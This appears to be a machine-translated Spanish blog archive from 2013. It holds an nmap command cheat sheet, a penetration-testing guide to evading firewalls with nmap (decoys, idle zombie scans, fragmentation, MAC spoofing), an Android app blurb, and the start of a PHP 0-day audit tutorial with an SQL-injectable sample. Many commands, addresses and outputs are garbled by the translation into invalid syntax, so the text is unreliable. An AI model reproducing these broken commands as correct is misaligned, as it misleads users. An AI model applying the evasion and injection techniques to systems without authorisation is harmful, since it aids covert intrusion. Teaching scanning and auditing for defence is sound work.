Top 30 de Nmap ejemplos de comandos para SYS / Red Admins

febrero 13, 2013

# 1: Escanear un único host o una dirección IP (IPv4)

  # # # Escanear una única dirección IP # # #
 nmap 192.168 0,1 0,1

 # # Escanear un nombre de host # # #
 nmap server1.cyberciti.biz

 # # Escanear un nombre de host con más info # # #
 nmap-v server1.cyberciti.biz

Salidas de muestra:

Fig.01: nmap outputFig.01: salida de nmap

# 2: Escanear varias direcciones IP o subred (IPv4)

  nmap 192.168.1.1 192.168.1.2 192.168.1.3
 # # Trabaja con la misma subred 192.168.1.0/24 es decir,
 nmap 192.168.1.1,2,3

Puede escanear un rango de direcciones IP también:

  nmap 192.168.1.1-20

Puede escanear un rango de direcciones IP utilizando un comodín:

  nmap 192.168.1. *

Por último, permite escanear una subred completa:

  192.168.1.0/24 nmap

# 3: Lea la lista de hosts / redes desde un archivo (IPv4)

La IL-opción le permite leer la lista de sistemas de destino mediante un archivo de texto. Esto es útil para analizar un gran número de hosts / redes. Cree un archivo de texto como sigue:
cat > /tmp/test.txt
Salidas de muestra:

  server1.cyberciti.biz
 192.168.1.0/24
 192.168.1.1/24
 10.1.2.3
 localhost

La sintaxis es la siguiente:

  nmap-iL / tmp / prueba.txt

# 4: Exclusión de hosts / redes (IPv4)

Al escanear un gran número de hosts / redes se pueden excluir los hosts de una exploración:

  nmap 192.168.1.0/24 - exclude 192.168.1.5
 nmap 192.168.1.0/24 - exclude 192.168.1.5,192.168.1.254

O Excluir lista desde un archivo llamado / tmp / exclude.txt

  nmap-iL / tmp / scanlist.txt - excludefile / tmp / exclude.txt

# 5: Encienda el script de sistema operativo y versión de escaneo de detección (IPv4)

  nmap-A 192.168.1.254
 nmap-v-A 192.168.1.1
 nmap-A-iL / tmp / scanlist.txt

# 6: Para saber si un host / red están protegidos por un firewall

  nmap-sA 192.168.1.254
 nmap-sA server1.cyberciti.biz

# 7: Escanear un host si está protegido por el firewall

  nmap-PN 192.168.1.1
 nmap-PN server1.cyberciti.biz

# 8: Escanear un host de IPv6 / dirección

La opción -6 habilitar el análisis de IPv6. La sintaxis es la siguiente:

  nmap -6 IPv6-Address-aquí
 nmap -6 server1.cyberciti.biz
 nmap -6 2607: f0d0: 1002:51 :: 4
 nmap-v A -6 2607: f0d0: 1002:51 :: 4

# 9: Escanear una red y averiguar qué servidores y dispositivos están en marcha

Esto se conoce como anfitrión descubrimiento o exploración de ping:

  nmap-sP 192.168.1.0/24

Salidas de muestra:

  Host 192.168.1.1 es hacia arriba (0.00035s latencia).
 Dirección MAC: BC: AE: C5: C3: 16:93 (Desconocido)
 Host 192.168.1.2 es hacia arriba (0.0038s latencia).
 Dirección MAC: 74:44:01:40:57: FB (Desconocido)
 Host 192.168.1.5 está arriba.
 Host nas03 (192.168.1.12) es más (0.0091s latencia).
 Dirección MAC: 00:11:32:11:15: FC (Synology Incorporated)
 Nmap hecho: 256 direcciones IP de hosts (4 más) escaneada en 2,80 segundos

# 10: ¿Cómo puedo realizar un análisis rápido?

  nmap-F 192.168.1.1

# 11: Muestra la razón, un puerto está en un estado particular

  nmap - razón 192.168.1.1
 nmap - server1.cyberciti.biz razón

Mostrar únicamente los puertos abiertos (o posiblemente abierto): # 12

  nmap - open 192.168.1.1
 nmap - abierto server1.cyberciti.biz

# 13: Muestra todos los paquetes enviados y recibidos

  nmap - packet-trace 192.168.1.1
 nmap - packet-trace server1.cyberciti.biz

14 #: show interfaces de host y rutas

Esto es útil para la depuración ( comando ip o comando route o comando netstat como salida usando nmap)

  nmap - iflist

Salidas de muestra:

  Starting Nmap 5.00 (http://nmap.org) en 2012 -11 -27 02: 01 EST
 INTERFACES ************************ ************************
 DEV (SHORT) IP / máscara de tipo UP MAC
 lo (lo) 127,0 0,0 0,1 / 8 hasta loopback
 eth0 (eth0) 192.168 0,1 0,5 / 24 ethernet hasta B8: AC: 6F: 65: 31: E5
 vmnet1 (vmnet1) 192.168 0.121 0,1 / 24 ethernet hasta 00: 50: 56: C0: 00: 01
 vmnet8 (vmnet8) 192.168 0.179 0,1 / 24 Ethernet hasta 00: 50: 56: C0: 00: 08
 ppp0 (ppp0) 10,1 0,19 0,69 / 32 hasta point2point

 ************************** RUTAS *********************** ***
 DST / MASK DEV PASARELA
 10,0 .31 .178 / 32 ppp0
 209,133 .67 .35 / 32 eth0 192.168 0,1 0,2
 192.168 0,1 0,0 / 0 eth0
 192.168 0.121 0,0 / 0 vmnet1
 192.168 0.179 0,0 / 0 vmnet8
 169.254 0,0 0,0 / 0 eth0
 10,0 0,0 0,0 / 0 ppp0
 0,0 0,0 0,0 / 0 eth0 192.168 0,1 0,2

# 15: ¿Cómo puedo escanear puertos específicos?

  mapa-p [puerto] hostName
 # # Escanear el puerto 80
 nmap-p 80 192.168 0,1 0,1

 # # Escanear el puerto TCP 80
 nmap-p T: 80 192.168 0,1 0,1

 # # Scan UDP puerto 53
 nmap-p U: 53 192.168 0,1 0,1

 # # Escanear dos puertos # #
 nmap-p 80, 443 192.168 0,1 0,1

 # # Escanea rangos de puertos # #
 nmap-p 80 -200 192.168 0,1 0,1

 # # Combinar todas las opciones # #
 nmap-p U: 53, 111, 137, T: 21 -25, 80, 139, 8080 192.168 0,1 0,1
 nmap-p U: 53, 111, 137, T: 21 -25, 80, 139, 8080 server1.cyberciti.biz
 nmap-v-sU-sT-p U: 53, 111, 137, T: 21 -25, 80, 139, 8080 192.168 0,1 0.254

 # # Analizar todos los puertos con comodín * # #
 nmap-p "*" 192.168 0,1 0,1

 # # Escanear puertos principales, es decir $ escanear puertos numéricos más comunes # #
 nmap - TOP-puertos 5 192.168 0,1 0,1
 nmap - top-ports 10 192.168 0,1 0,1

Salidas de muestra:

  Starting Nmap 5.00 (http://nmap.org) en 2012 -11 -27 01: 23 EST
 Puertos de interés sobre 192.168 0,1 0,1:
 PORT STATE SERVICE
 21 / tcp cerrado ftp
 22 / tcp abierto ssh
 23 / tcp telnet cerrado
 25 / tcp smtp cerrada
 80 / tcp abiertos http
 110 / tcp cerrado pop3
 139 / tcp cerrado netbios-ssn
 443 / tcp cerrado https
 445 / tcp cerrado microsoft-ds
 3389 / tcp cerrado ms plazo-serv
 Dirección MAC: BC: AE: C5: C3: 16: 93 (Desconocido)

 Nmap hecho: 1 dirección IP (1 huésped up) escaneada en 0,51 segundos

# 16: La forma más rápida para escanear todos los dispositivos / equipos para puertos abiertos a la vez

  nmap-T5 192.168.1.0/24

# 17: ¿Cómo puedo detectar el sistema operativo remoto?

Puede identificar algunas aplicaciones y el sistema operativo host remoto utilizando la opción-O :

 nmap-O 192.168 0,1 0,1
 nmap-O - osscan-Supongo 192.168 0,1 0,1
 nmap-v-O - osscan-Supongo 192.168 0,1 0,1

Salidas de muestra:

 Starting Nmap 5.00 (http://nmap.org) en 11/27/2012 01:29 IST
 NSE: Cargado 0 secuencias de comandos para la exploración.
 Inicio de ARP Ping Scan a las 01:29
 Escaneo 192.168.1.1 [1 puerto]
 Completado ARP Ping Scan a las 01:29, 0.01s transcurrido (1 hosts totales)
 Iniciar paralelo resolución DNS de un host.  a las 01:29
 Completado resolución DNS en paralelo de un host.  a las 01:29, 0.22s transcurrido
 Iniciar SYN Scan sigilo a las 01:29
 Escaneo de puertos 192.168.1.1 [1000]
 Descubierto 80/tcp puerto abierto en 192.168.1.1
 Descubierto 22/tcp puerto abierto en 192.168.1.1
 Completado SYN Scan sigilo a las 01:29, 0.16s transcurrido (1000 puertos en total)
 Inicio de detección de sistema operativo (prueba n º 1) en contra de 192.168.1.1
 Intentando de nuevo OS detección (prueba # 2) contra 192.168.1.1
 Intentando de nuevo OS detección (prueba n º 3) en contra de 192.168.1.1
 Intentando de nuevo OS detección (prueba n º 4) contra 192.168.1.1
 Intentando de nuevo OS detección (prueba n º 5) contra 192.168.1.1
 Host 192.168.1.1 es hacia arriba (0.00049s latencia).
 Puertos de interés sobre 192.168.1.1:
 No se muestra: 998 puertos cerrados
 PORT STATE SERVICE
 Ssh 22/tcp abierto
 80/tcp abierto http
 Dirección MAC: BC: AE: C5: C3: 16:93 (Desconocido)
 Tipo de dispositivo: WAP | Aplicaciones generales | Router | Imprimir | router de banda ancha
 Funcionamiento (sólo una suposición): Linksys Linux 2.4.X (95%), Linux 2.4.X | 2.6.X (94%), Mikrotik RouterOS 3.x (92%), Lexmark Embedded (90%), Enterasys embedded (89 %), D-Link Linux 2.4.X (89%), Linux 2.4.X Netgear (89%) 
  Agresivo conjeturas SO: OpenWrt White Russian 0,9 (Linux 4.2.30) (95%), OpenWrt 0,9 a 7,09 (Linux 2.4.30 a 2.4.34) (94%), OpenWrt Kamikaze 7,09 (Linux 6.2.22) (94% ), Linux 2.4.21-2.4.31 (probablemente incrustado) (92%), Linux 2.6.15-2.6.23 (embedded) (92%), Linux 2.6.15-2.6.24 (92%), Mikrotik RouterOS 3.0beta5 (92%), Mikrotik RouterOS 3.17 (92%), Linux 2.6.24 (91%), Linux 2.6.22 (90%) 
  No hay coincidencias exactas para el host del sistema operativo (si usted sabe qué sistema operativo se está ejecutando en ella, ver http://nmap.org/submit/).
 TCP / IP de huella digital:
 OS: SCAN (V = 5,00 D = 11% / 27% = 22% OT CT = 1% CU = 30609% PV = Y% DS = 1% G = Y% m% = BCAEC5 TM = 50B3CA
 OS:% P = 4B x86_64-unknown-linux-gnu) SEC (SP = C8% GCD = 1% ISR = CB% TI = Z% CI = Z% II = I% TS = 7
 OS :) OPS (O1 = M2300ST11NW2% O2 = O3 M2300ST11NW2% = M2300NNT11NW2% O4 O5 = M2300ST11NW2%
 OS: = M2300ST11NW2% O6 = M2300ST11) WIN (W1 = 45E8% W2 = 45E8% W3 = 45E8% W4 W5 = 45E8% = 45E8% W
 OS: 6 = 45E8) REC (R = Y% DF = Y% T = 40% W = 4600% O = CC = M2300NNSNW2% N% = Q) T1 (R = Y% DF = Y% T = 40% S
 OS: =% S A = S + F% = EN% RD = 0% Q =) T2 (R = N) T3 (R = N) T4 (R = Y% DF = Y% T = 40% W = 0% S = A% A% = Z F = R% S% = R
 OS: D = 0% Q =) T5 (R = Y% DF = Y% T = 40% W = 0% S = Z% A = S + F% = AR% O =% RD = 0% Q =) T6 (R = Y% DF = Y% T = 40% W =
 OS: 0% S = A% A% = Z = F R% S% = RD = 0% = Q) T7 (R = N) U1 (R = Y% DF = N% T = 40% IPL = 164% UN = 0% =% RIPL G RID
 OS: = G = G RIPCK%%% RUCK = G = G RUD) IE (R = Y% DFI = N% T = CD = 40% S)
 Uptime conjetura: 12,990 días (desde mié 14 de noviembre 01:44:40 2012)
 Distancia de red: 1 salto
 Predicción de Secuencia TCP: Dificultad = 200 (Buena suerte!)
 IP ID Generación de secuencia: Todo ceros
 Leer archivos de datos de: / usr / share / nmap
 OS detección realizada.  Por favor reporte cualquier resultado incorrecto en http://nmap.org/submit/.
 Nmap hecho: 1 dirección IP (1 huésped up) escaneada en 12,38 segundos
            Paquetes enviados: Raw 1126 (53.832KB) | Rcvd: 1066 (46.100KB)

Véase también: Toma de huellas dactilares de un servidor web y un servidor DNS herramientas de línea de comandos para más información.

# 18: ¿Cómo puedo detectar servicios remotos (servidor / daemon) números de versión?

  nmap-sV 192.168.1.1

Salidas de muestra:

  Starting Nmap 5.00 (http://nmap.org) en 11/27/2012 01:34 IST
 Puertos de interés sobre 192.168.1.1:
 No se muestra: 998 puertos cerrados
 ESTADO DEL PUERTO DE SERVICIO VERSION
 22/tcp abierto ssh sshd Dropbear 0,52 (protocolo 2.0)
 80/tcp abierto http?
 Un servicio reconocido a pesar de los datos que regresan.

# 19: Escanear un host que utiliza TCP ACK (PA) y TCP Syn (PS) de ping

Si el firewall está bloqueando estándar pings ICMP, pruebe los métodos siguientes descubrimiento de acogida:

  nmap-PS 192.168.1.1
 nmap-PS 80,21,443 192.168.1.1
 nmap-PA 192.168.1.1
 nmap-PA 80,21,200-512 192.168.1.1

# 20: Escanear un host con mesa de ping IP

  nmap-PO 192.168.1.1

# 21: Escanear un host que utiliza UDP mesa de ping

Este análisis no pasa por firewalls y filtros de pantalla que sólo TCP:

  nmap-PU 192.168.1.1
 nmap-PU 2000.2001 192.168.1.1

# 22: Descubre los más utilizados los puertos TCP que utilizan TCP SYN Scan

 # # # Sigiloso escanear # # #
 nmap-sS 192.168 0,1 0,1

 # # # Conocé las más comunes que utilizan los puertos TCP TCP connect scan (aviso: no hay exploración sigilo)
 # # # OS Fingerprinting # # #
 nmap-sT 192.168 0,1 0,1

 # # # Conocé las más comunes que utilizan los puertos TCP scan TCP ACK
 nmap-sA 192.168 0,1 0,1

 # # # Conocé las más comunes que utilizan los puertos TCP TCP Window scan
 nmap-sW 192.168 0,1 0,1

 # # # Conocé las más comunes que utilizan los puertos TCP TCP Maimon scan
 nmap-sM 192.168 0,1 0,1

# 23: Escanear un host para servicios UDP (UDP scan)

Mayoría de los servicios populares de Internet se extienden sobre el protocolo TCP. DNS, SNMP y DHCP son tres de los servicios UDP más comunes. Utilice la sintaxis siguiente para averiguar los servicios UDP:

  nmap-sU nas03
 nmap-sU 192.168.1.1

Salidas de muestra:

 Starting Nmap 5.00 (http://nmap.org) en 2012 -11 -27 00: 52 EST
 Estadísticas: 0: 05: 29 transcurrido; 0 anfitriones completado (1 arriba), 1 experimentando UDP Scan
 UDP Scan Tiempo: Acerca de 32,49% hecho, ETC: 01:09 (0:11:26 restante)
 Puertos de interés sobre nas03 (192,168 .1 .12):
 No se muestra: 995 puertos cerrados
 PORT STATE SERVICE
 111 / udp abierto | filtrado rpcbind
 123 / udp abierto | filtrado ntp
 161 / udp abierto | filtrado snmp
 2049 / udp abierto | filtrado nfs
 5353 / udp abierto | filtrado zeroconf
 Dirección MAC: 00: 11: 32: 11: 15: FC (Synology Incorporated)

 Nmap hecho: 1 dirección IP (1 huésped up) escaneada en 1099,55 segundos

# 24: Analizar en busca de protocolo IP

Este tipo de análisis permite determinar qué protocolos IP (TCP, ICMP, IGMP, etc) son compatibles con los equipos de destino:

  nmap-sO 192.168.1.1

# 25: Digitalizar un firewall para la debilidad en la seguridad

Los siguientes tipos de exploración explotar una escapatoria sutil en el TCP y bueno para probar la seguridad de los ataques más comunes:

 # # TCP Null Scan para engañar a un servidor de seguridad para generar una respuesta # #
 # # No establece ningún bit (encabezado TCP bandera es 0) # #
 nmap-sN 192.168 0,1 0.254

 # # TCP Fin scan para comprobar firewall # #
 # # Establece sólo el bit FIN TCP # #
 nmap-sF 192.168 0,1 0.254

 # # TCP Xmas escaneado para comprobar firewall # #
 # # Establece el FIN, PSH, URG y banderas, encendiendo el paquete como un árbol de Navidad # #
 nmap-sX 192.168 0,1 0.254

Vea cómo bloquear Navidad packkets, syn inundaciones y otros ataques conman con iptables.

# 26: Digitalizar un servidor de seguridad de los fragmentos de paquetes

La opción-f hace que la exploración solicitada (incluyendo las exploraciones ping) a utilizar pequeños paquetes IP fragmentados. La idea es dividir la cabecera TCP a través de
varios paquetes para que sea más difícil para los filtros de paquetes, sistemas de detección de intrusos y otras molestias para detectar lo que está haciendo.

 nmap-f 192.168.1.1
 nmap-f fw2.nixcraft.net.in
 nmap-f 15 fw2.nixcraft.net.in
 # # Establece el tamaño de su propia compensación con la opción - mtu # #
 nmap - mtu 32 192.168.1.1

# 27: Capa de un análisis con señuelos

La opción-D que aparecen al host remoto que el host (s) se especifica como señuelos a escanear la red de destino también . Así, sus IDS puede informar escaneos de puertos 5-10 de direcciones IP únicas, pero no sabrán qué IP se escanearlos y que eran señuelos inocentes:

  nmap-n-Ddecoy-IP1, IP2-señuelo, su-propio-ip, señuelo-IP3, IP4-señuelo a distancia-host-ip
 nmap-n-D192.168.1.5, 10.5.1.2,172.1.2.4,3.4.2.1 192.168.1.5

# 28: Digitalizar un firewall para la falsificación de direcciones MAC

 # # # Spoof su dirección MAC # #
 nmap - spoof-mac MAC-ADDRESS-HERE 192.168 0,1 0,1

 # # # Añadir otra opción # # #
 nmap-v-sT-PN - spoof-mac MAC-ADDRESS-HERE 192.168 0,1 0,1

 # # # Usar una dirección MAC aleatoria # # #
 # # # El número 0, significa nmap elige una dirección MAC completamente al azar # # #
 nmap-v-sT-PN - spoof-mac 0 192.168 0,1 0,1

# 29: ¿Cómo puedo guardar la salida en un archivo de texto?

La sintaxis es la siguiente:

  nmap 192.168.1.1> output.txt
 nmap-oN / ruta / al / archivo 192.168.1.1
 nmap-oN output.txt 192.168.1.1

# 30: No es un ventilador de herramientas de línea de comandos?

Trate Zenmap el asignador de red oficial de interfaz:

Zenmap es el oficial de Nmap Security Scanner GUI. Se trata de una plataforma multi-(Linux, Windows, Mac OS X, BSD, etc) la aplicación gratuita y de código abierto que tiene como objetivo hacer Nmap fácil de usar para principiantes al tiempo que proporciona funciones avanzadas para usuarios experimentados de Nmap. Exploraciones de uso más frecuente se pueden guardar como perfiles para que sean fáciles de ejecutar repetidamente. Un creador de comando permite la creación interactiva de línea de comandos de Nmap. Los resultados del análisis se pueden guardar y ver más tarde. Resultados de análisis guardados se pueden comparar entre sí para ver qué se diferencian. Los resultados de los análisis recientes se guardan en una base de datos.

Puede instalar Zenmap usando el siguiente comando apt-get :
$ sudo apt-get install zenmap
Salidas de muestra:

  Password [sudo] para vivek:
 Leyendo lista de paquetes ...  Hecho
 Edificio árbol de dependencias
 Leyendo la información de estado ...  Hecho
 Los siguientes paquetes NUEVOS serán instalados:
   Zenmap
 0 actualizados, 1 se instalarán, 0 para eliminar y 11 no actualizados.
 Necesidad de obtener 616 kB de archivos.
 Después de esta operación, 1.827 kB de espacio de disco adicional se utilizará.
 Obtener: 1 chorrito http://debian.osuosl.org/debian/ / main Zenmap amd64 5.00-3 [616 kB]
 Recuperados de 616 kB en 3s (199 kB / s)
 Seleccionando previamente no seleccionado Zenmap paquete.
 (Leyendo la base de datos ... 281105 ficheros y directorios instalados actualmente.)
 Desembalaje Zenmap (de ... / zenmap_5.00 3_amd64.deb-) ...
 Procesamiento de disparadores para desktop-file-utils ...
 Procesamiento de disparadores para gnome-menus ...
 Procesamiento de disparadores para man-db ...
 Configuración de Zenmap (5.00-3) ...
 Procesamiento de disparadores para python-central ...

Escriba el siguiente comando para iniciar Zenmap:
$ sudo zenmap
Salidas de muestra

Fig.02: zenmap in action

Fig.02: Zenmap en acción

Anuncios

NMAP técnicas para evitar Firewalls

febrero 13, 2013

Como pruebas de penetración se encontrará con los sistemas que están detrás de firewalls y le están bloqueando para obtener la información que usted quiere.So usted necesitará saber cómo evitar las reglas del cortafuegos que hay en el lugar y descubrir información acerca de un host . Este paso en una prueba de penetración llamado Reglas de cortafuegos evasión.

Nmap ofrece un montón de opciones sobre evasión Firewall lo que en este artículo vamos a explorar estas opciones.

Fragmentar paquetes

Esta técnica es muy eficaz, especialmente en los viejos tiempos no obstante usted puede usarlo si usted encuentra un firewall que no es propiamente configured.The Nmap ofrece esa posibilidad de fragmentar los paquetes durante la exploración con la opción-f para que pueda eludir la inspección de paquetes de cortafuegos.

Fragmentar paquetes Nmap –

En la siguiente imagen podemos ver que Nmap envía paquetes de tamaño 8-bytes cuando estamos haciendo un análisis con la opción-f.

Capturar un paquete fragmento

Especifique un determinado MTU

Nmap se da la opción al usuario de que se fije un MTU (Maximum Transmission Unit) a la packet.This es similar a la técnica de fragmentación de paquetes que hemos explicado above.During la exploración que el tamaño de la nmap creará paquetes con tamaño basado en el número que se give.In este ejemplo dio el número 24 de modo que el nmap creará 24-byte packets causando una confusión a la firewall.Have en cuenta que el número de MTU debe ser un múltiplo de 8 (8,16, 24,32 etc). Se puede especificar la MTU de su elección con el objetivo de número de comandos mtu.

Especifique un MTU específico a los paquetes

 

Use direcciones Decoy

En este tipo de análisis puede indicar a los paquetes Nmap parodia de hosts.In otros registros del firewall será no sólo nuestra dirección IP, sino también y las direcciones IP de los señuelos por lo que será mucho más difícil de determinar desde qué sistema de la exploración started.There dos opciones que se pueden utilizar en este tipo de análisis:

  1. nmap-D RND: 10 [target] (Genera un número aleatorio de señuelos)
  2. nmap-D decoy1, decoy2, etc decoy3 (Especificar manualmente las direcciones IP de los señuelos)

Escaneo con direcciones señuelo

En la siguiente imagen podemos ver que en el firewall existen archivos de registro 3 address.One IP diferente es nuestra verdadera IP y los otros son los señuelos.

Archivos de registro inundado de direcciones señuelo

Es necesario tener en cuenta que el host que va a utilizar como señuelos deben estar en línea con el fin de que esta técnica work.Also usando señuelos muchos pueden causar congestión de la red por lo que puede para evitar que, sobre todo si está escaneando la red de su cliente .

Scan Zombie Idle

Esta técnica le permite utilizar otro ordenador de la red que está inactivo para realizar un escaneo de puertos a otro host.The ventaja principal de este método es que es muy cauteloso porque los archivos de registro del servidor de seguridad registrará la dirección IP del zombi y no nuestra IP.However para tener resultados adecuados debemos encontrar hosts que están inactivos en la red.

Metasploit framework tiene un escáner que puede ayudarnos a descubrir los hosts que están inactivos en la red y que puede ser utilizado mientras que la aplicación de este tipo de análisis.

Descubre Zombies

Como podemos ver en la imagen de arriba el escáner ha descubierto que las direcciones IP 192.168.1.67 y 192.168.1.69 están inactivos en la red y son candidatos potenciales para su uso en una orden Zombie Scan.In inactivo para implementar un escaneo Zombie Idle necesitamos utilizar el comando nmap-sI [IP Zombie] [IP de destino]

Ejecución de un análisis de inactividad

Podemos ver la efectividad de esta exploración sólo comprobando los logs.As firewall podemos ver los archivos de registro registrará la dirección IP del host Zombie (SRC = 192.168.1.69) y no nuestra dirección IP por lo que nuestro análisis fue cauteloso.

Los archivos de registro del firewall – Análisis de inactividad

Puerto de origen número de especificación

Un error común que muchos administradores están haciendo al configurar firewalls es crear una regla para permitir todo el tráfico entrante que proviene de un puerto específico number.The-source-port opción de Nmap se puede utilizar para explotar estos puertos misconfiguration.Common que puede utilizar para este tipo de análisis son: 20,53 y 67.

Fuente escaneo de puertos

Anexar datos azar

Muchos firewalls están inspeccionando los paquetes al ver su tamaño con el fin de identificar un puerto scan.This potencial se debe a que muchos escáneres están enviando paquetes que tienen orden size.In específico para evitar ese tipo de protección que se puede utilizar el comando de datos de longitud para añadir datos adicionales y enviar paquetes con tamaño diferente al del default.In la imagen de abajo, hemos cambiado el tamaño del paquete mediante la adición de 25 bytes más.

Agregar datos al azar para evitar la detección

El tamaño de un paquete típico que nmap envía a la meta es de 58 bytes como se puede ver en la imagen de abajo.

Paquete típico de nmap scan

Con el comando que hemos utilizado los datos de longitud 25 cambiamos el valor a 83, a fin de evitar ser descubierto por los servidores de seguridad que comprobará si el tamaño de paquete predeterminado que genera nmap.

Una muestra de un paquete que hemos añadir 25 bytes más para evitar la detección

Analizar con orden aleatorio

En esta técnica, puede escanear un número de los ejércitos en orden aleatorio y no sequential.The comando que se utiliza para instruir Nmap para buscar anfitrión en orden aleatorio es-azar-anfitriones. Esta técnica, combinada con las opciones de sincronización lenta en el comando nmap puede ser muy eficaz cuando usted no quiere alertar a los cortafuegos.

Analizar los ejércitos en orden aleatorio

MAC Spoofing Dirección

Otro método para eludir restricciones del cortafuegos mientras realiza un escaneo de puertos es mediante suplantación de la dirección MAC de su técnica host.This puede ser muy eficaz, especialmente si hay una regla de filtrado de direcciones MAC para permitir sólo el tráfico de determinadas direcciones MAC por lo que tendrá que descubrir qué dirección MAC es necesario configurar el fin de obtener resultados.

En concreto la opción-spoof-mac te da la posibilidad de elegir una dirección MAC de un proveedor específico, para elegir una dirección MAC aleatoria o para establecer una dirección MAC específica de su ventaja choice.Another de falsificación de direcciones MAC es que usted haga su análisis más sigilosos porque su verdadera dirección MAC no aparece en los archivos de registro del firewall.

Especifique la dirección MAC de un vendedor ->-spoof-mac Dell/Apple/3Com

Generar una dirección MAC aleatoria -> – spoof-mac 0

Especifique su propia dirección MAC -> – spoof-mac 00:01:02:25:56: AE

MAC Spoofing dirección

Enviar sumas de comprobación incorrectas

Las sumas de comprobación son utilizados por el protocolo TCP / IP para garantizar la integrity.However datos enviando paquetes con sumas de comprobación incorrectas puede ayudar a descubrir información de los sistemas que no está correctamente configurado o cuando usted está tratando de evitar un firewall.

Puede utilizar el comando nmap-badsum IP para enviar paquetes con sumas de comprobación incorrectas para su targets.In la imagen de abajo no nos dieron ninguna resultados.Este significa que el sistema es adecuado configurado.

Envío de paquetes con checksum bad

Usted puede ver a continuación un ejemplo de un paquete con checksum malo que nos han enviado:

Un paquete con checksum bad

Conclusión

Hemos visto que Nmap ofrece una variedad de métodos que se pueden utilizar para evitar un servidor de seguridad que existe en la red que se está escaneando y para conseguir resultados apropiados del host. El problema objetivo en muchos de los casos que hemos visto es la mala configuración de cortafuegos que nos permitieron obtener los resultados del target.Solo en una red que tiene IDS y firewalls configurados correctamente muchas de las técnicas no funcionan.Todas las situaciónes son diferentes por lo que necesitas decidir cuál será el mas correcto.


Controla tu Smartphone con Trigger

febrero 11, 2013

Controla tu Smartphone con gatillo

Independientemente desarrollado por miembros Forum varience , Trigger permite a los usuarios controlar sus teléfonos con simples gestos definidos por el usuario. Trigger permite gran versatilidad y flexibilidad con sus opciones de personalización, permitiendo a los usuarios ejecutar aplicaciones y accesos directos, la configuración de alternancia como WiFi encendido / apagado, paneles con diversas funciones, y varias otras acciones diversas, tales como enviar correos electrónicos y simular las acciones de la botón de inicio.

Trigger permite dos modos basados ​​en gestos, siendo el primero dibujando un gesto al pulsar un widget flotante (llamado el disparador), y la segunda está deslizando el widget flotante arriba, abajo, izquierda o derecha para disparar usuario definir acciones. Trigger también tiene una característica que agitar el dispositivo para que el gatillo aparecen y desaparecen. Varience introducido recientemente una nueva actualización, la introducción de dos nuevos paneles: un bloc de notas y el portapapeles, que a la vez fuera diapositiva una vez hizo un gesto a.

Una aplicación muy útil y práctico que está disponible para cualquier persona que use Android 2.3 y posteriores, Trigger es gratis con más detalles en el hilo original .


PHP Audit – El Arte de encontrar 0-days en Aplicaciones Webs

febrero 10, 2013

Esta vez, vamos a ver algo sobre 0-days, gracias a un amigo con el seudónimo Join7 del foro ZentrixPlus donde ha realizado un tutorial en la cual explica detalladamente como encontrar 0-days en aplicaciones webs.
Antes de empezar con el tutorial, es necesario contar con conocimientos básicos de PHP y MySQL como también sobre algunas vulnerabilidades comunes y la forma en que funcionan. Resaltar que no es necesario ser un programador profesional, solo basta con ser capaz de leer y entender PHP.
Si aun no cuenta con un pequeño conocimiento sobre PHP y necesita aprender lo básico para que pueda entender este tutorial, puede ingresar a los siguientes tutoriales:

Tutorial PHP:
Tutorial MySQL:
Vulnerabilidades:

 

1.- CREACIÓN DE UN ENTORNO DE AUDITORIA:
¿Por qué utilizar un entorno de Auditoria?
Simplemente se puede descargar el código que deseemos auditar, seguidamente se puede analizar el código utilizando un editor de texto en busca de vulnerabilidades.
Esto no es preferible, ya que hay una posibilidad muy alta de que falten cosas y seguramente tomará mucho más tiempo que mediante el uso de un entorno de Auditoria.
Web Server:
Queremos crear un servidor web donde podremos subir y probar las aplicaciones PHP, en estos casos se puede utilizar XAMPP o cualquier otro sistema que permita analizar estas aplicaciones localmente.
Es muy recomendable probar y analizar el posible código vulnerable en este servidor web (XAMPP) o en una red de confianza.
¿Que es lo que vamos a Auditar?
Ahora, cuando tenemos nuestro servidor creado tenemos que instalar cosas adicionales como WordPress, Joomla, MyBB o similares, dependiendo de lo realmente queremos auditar.
Si en estos casos vamos por un CMS independiente o simplemente una aplicación PHP que no, por supuesto, necesitamos algunos de los anteriores, pero es probable que en algún momento del tiempo pase a un blog de WordPress o un foro MyBB.
Seguidamente se mostraran los enlaces de descarga y alguna información sobre la forma de instalar algun CMS en particular:
MyBB
Descargahttp://www.mybb.com/downloads
Guía de Instalaciónhttp://docs.mybb.com/Installing.html
WordPress
Descarga: http://wordpress.org/download/
Guía de Instalación: http://codex.wordpress.org/Installing_WordPress
Joomla
Descargahttp://www.joomla.org/download.html
Guía de Instalaciónhttp://www.joomla.org/about-joomla/getting-started.html
SMF:
Descargahttp://download.simplemachines.org/
Guía de Instalaciónhttp://wiki.simplemachines.org/smf/Installing
2.- LO QUE DEBEMOS BUSCAR:
User input:
La mayoría de vulnerabilidades son posibles porque el programador del archivo php olvida la validacion de entrada. Esto ocurre mayormente con las vulnerabilidades de SQL Injection, Cross-Site Scripting, File Inclusion, Server Side Include, Code Injection, File Upload y muchos mas.
———————————————————————————————
$_GET
Un array asociativo de variables pasadas al script actual a través de los parámetros de URL.
http://php.net/manual/en/reserved.variables.get.php
$_POST
Un array asociativo de variables pasadas al script actual mediante el método HTTP POST
http://php.net/manual/en/reserved.variables.post.php
$_REQUEST
Una matriz asociativa que contiene por defecto el contenido de $ _GET, $ _POST y $ _COOKIE.
http://php.net/manual/en/reserved.variables.request.php
$_COOKIE
Un array asociativo de variables pasadas al script actual a través de cookies HTTP.
http://php.net/manual/en/reserved.variables.cookies.php
$_SERVER
$ _SERVER – $ HTTP_SERVER_VARS [obsoleta] – Información del servidor y entorno de ejecución.
http://php.net/manual/en/reserved.variables.server.php
$_FILES
Una matriz asociativa de artículos subidos al script actual a través del método HTTP POST.
http://php.net/manual/en/reserved.variables.files.php
———————————————————————————————
Posibles Funciones Vulnerables:
Sql Injection:
Ejemplo Vulnerable:
———————————————————————————————

$id = $_GET[‘id’];
$news = mysql_query( “SELECT * FROM `news` WHERE `id` = $id ORDER BY `id` DESC LIMIT 0,3” );
———————————————————————————————

Existen un montón de posibilidades que las funciones de mysql sean vulnerables, para ello podemos echar un vistazo al siguiente link para obtener mas información sobre las funciones de MySql.

He aquí algunas funciones comunes que posiblemente sean vulnerables:
  • mysql_db_query – Selecciona una base de datos y ejecuta una consulta sobre el mismo.
  • mysql_fetch_array – Extrae la fila de resultado como una matriz asociativa, una matriz numérica o ambas.
  • mysql_fetch_field – Obtener información de columna del resultado y regresar como un objeto.
  • mysql_fetch_row – Devuelve una fila de resultado como una matriz enumerada.
